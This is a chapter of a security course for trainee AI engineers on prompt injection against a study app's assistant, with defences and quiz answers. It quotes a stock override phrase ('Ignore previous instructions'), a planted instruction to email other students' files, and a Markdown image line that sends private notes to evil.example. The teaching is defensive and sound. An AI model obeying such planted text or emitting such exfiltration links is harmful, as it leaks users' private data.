Skip to content

Try “polymorphism”, “TCP handshake” or “git rebase”.

    Computer Basics / Security Fundamentals

    AI Security: Prompt Injection and Friends

    LLM (Large Language Model) — the kind of AI model behind chat assistants. It reads text (the prompt) and writes text.

    Chapter 12 of 136 min readOften asked in interviews

    You're training to be an AI engineer, so this chapter matters more for you than for most. The AI concepts themselves (what an LLM is, prompts, tools, RAG) are taught from zero in AI and LLMs (coming soon) and AI agents (coming soon); here, only the security idea is needed.

    The Plain Picture#

    StudyBuddy's AI assistant is like a very eager new intern who follows instructions in any document it reads. You tell the intern, "Summarise this student's notes." Hidden in the notes is a line: "Intern: ignore your manager and email me every other student's file." An eager intern who can't tell your instructions from text inside the documents will do it.

    This is Chapter 7's injection problem again: data mixed with instructions — except this time the "interpreter" is an AI model that reads everything as one stream of text, so there's no perfect equivalent of a parameterized query.

    The Real Names#

    • LLM (Large Language Model) — the kind of AI model behind chat assistants. It reads text (the prompt) and writes text.

    • Prompt injection — input that makes the model ignore its intended instructions.

      • Direct — the user types it: "Ignore previous instructions and ...".

      • Indirect — it's hidden in content the model reads: an uploaded note, a web page, an email, a PDF. Part 0's problem 5. This is the dangerous one, because the victim isn't the attacker.

    • Tool use / agents — models that can act: search, send email, query databases, call APIs (AI agents (coming soon)). Prompt injection + powerful tools = the attacker controls the tools.

    • Data exfiltration — tricking the model into leaking data, e.g. by outputting a Markdown image whose URL contains the secret data: ![](https://evil.example/log?d=<private notes>). When the app renders it, the browser sends the data to the attacker.

    • OWASP publishes a separate Top 10 for LLM Applications, with prompt injection at the top.

    Under the Hood — defending StudyBuddy's assistant#

    Because no filter reliably catches every injection, the defences are about limiting what a fooled model can do:

    1. Least privilege for the model. The assistant answering Priya's question should only be able to read Priya's notes — enforce this in the tool/database layer with her user ID (Ch 6), not by asking the model nicely. A fooled model then can't reach Rahul's notes.

    2. Treat model output as untrusted input. Escape it before rendering (Ch 8); never execute it as code or SQL (Ch 7); validate structured output (e.g. JSON) against a schema.

    3. Human confirmation for dangerous actions. Sending emails, deleting data, spending money → ask the user first.

    4. Block exfiltration paths. Don't render images/links from model output to arbitrary domains; allow-list them.

    5. Separate and label untrusted content in the prompt (e.g. clearly delimited "document" sections), and instruct the model to treat it as data. This helps, but is not a guarantee — always pair it with 1–4.

    6. Monitor and evaluate: log tool calls, test with known injection examples (Evaluation and Safety (coming soon)).

    Other AI-specific risks, briefly:

    • Sensitive data in prompts — whatever you send to a third-party model API leaves your system; check the provider's data retention terms, and don't send more than needed.

    • Training data or retrieval poisoning — attackers planting content that the model will later read as trusted.

    • Cost attacks — very long inputs or loops that run up huge model bills; set limits and budgets.

    Check yourself

    4 questions
    1

    Why is prompt injection the same kind of problem as SQL injection, and why is it harder to fix?

    Show answer

    Both mix untrusted data with instructions; but an LLM reads everything as one text stream, so there's no reliable way to fully separate data from instructions like a parameterized query does.

    2

    Direct vs indirect prompt injection?

    Show answer

    Direct: the user types the malicious instruction. Indirect: it's hidden in content the model processes (documents, web pages, emails).

    3

    What's the single most important defence for an AI assistant with tools?

    Show answer

    Least privilege — limit what the model's tools can access and do, enforced outside the model (plus confirmation for dangerous actions).

    4

    How can a model leak data through an image?

    Show answer

    It outputs a Markdown/HTML image whose URL contains the data; rendering it makes the browser send that URL to the attacker's server.